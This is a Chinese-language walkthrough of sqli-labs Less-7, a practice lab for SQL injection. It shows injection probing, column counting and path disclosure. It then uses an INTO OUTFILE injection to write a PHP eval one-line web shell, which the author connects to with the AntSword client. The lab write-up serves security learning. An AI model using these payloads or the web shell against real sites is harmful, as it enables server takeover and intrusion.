第一步,判断注入点
?id=1
?id=1'
?id=1"
?id=1')
?id=1")
?id=1'))
可以看到,存在注入点,且为字符型注入,单引号括号括号闭合
第二步,判断字段数
?id=1')) order by 3 --+
?id=1')) order by 4 --+
页面正常,可判断字段数为3
页面报错,可判断字段数不为4、
第三步:判断回显位
页面无回显,根据页面的提示“use outfile”,判断需要写入文件 才能过关
?id=-1')) union select 1,@@basedir,@@datadir --+
@@datadir 读取数据库路径
@@basedir MYSQL 获取安装路径
通过语句可以查看目录路径地址
提示使用outfile
load_file()读取文件
前提:1、用户权限足够高,尽量具有root权限。2、secure_file_priv不为NULL
into outfile() 写入文件
需要mysql数据库开启secure-file-priv写文件权限,否则不能写入文件。
可以用命令窗口看一下MYSQL的权限,先进入MYSQL
show variables lilke '%secure%' ;
如果使用的是phpstudy,进入mysql安装目录,
我的目录是D:\LeStoreDownload\phpStudyjiayou\phpstudy_pro\Extensions\MySQL5.7.26
进入目录,找到my.ini 修改里面的secure-file-priv参数
如果没有secure_file_priv这个选项,直接添加即可。
?id=-1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\LeStoreDownload\\phpStudyjiayou\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.php" --+ 这里的路径必须用\\
向 目标路径 进行写入一个名为eval的php一句话木马,意思是打开命令行
虽然页面报错,但是在目标路径下可以看到写入的的1.php文件
用蚁剑进行连接:
先添加数据:右键,添加数据
填入网址,并点“测试连接”
测试正常,点击“添加”
双击URL,打开文件管理
可以看到我们写的1.php脚本文件,双击打开1.php连接成功!
至此,第七关就结束了!!!